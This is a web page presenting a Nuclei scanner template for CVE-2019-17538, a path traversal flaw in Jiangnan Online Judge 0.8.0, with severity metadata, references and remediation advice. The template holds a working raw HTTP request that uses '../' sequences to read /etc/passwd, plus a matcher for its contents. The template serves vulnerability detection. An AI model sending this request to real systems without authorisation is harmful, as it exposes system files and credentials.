Skip to content

Jiangnan Online Judge 0.8.0 - Local File Inclusion

ID: CVE-2019-17538

Severity: high

Author: pussycat0x

Tags: cve2019,cve,jnoj,lfi

Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.

id: CVE-2019-17538
info:
name: Jiangnan Online Judge 0.8.0 - Local File Inclusion
author: pussycat0x
severity: high
description: |
Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including system files and credentials.
remediation: |
Upgrade Jiangnan Online Judge to a patched version or apply the necessary security patches to fix the Local File Inclusion vulnerability.
reference:
- https://github.com/shi-yang/jnoj/issues/53
- https://nvd.nist.gov/vuln/detail/CVE-2019-17538
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-17538
cwe-id: CWE-22
epss-score: 0.00811
epss-percentile: 0.81728
cpe: cpe:2.3:a:jnoj:jiangnan_online_judge:0.8.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: jnoj
product: jiangnan_online_judge
tags: cve2019,cve,jnoj,lfi
http:
- raw:
- |
GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100e80e49ff2c74c95781c55d641963bf4febe263937d7d5aeb4471cfeaa074b54102207dfe62c5da4b9e5968ef2de79e4f10332263b1e19d69fb8ca6b7ecdb7a3f9a91:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-17538.yaml"

View on Github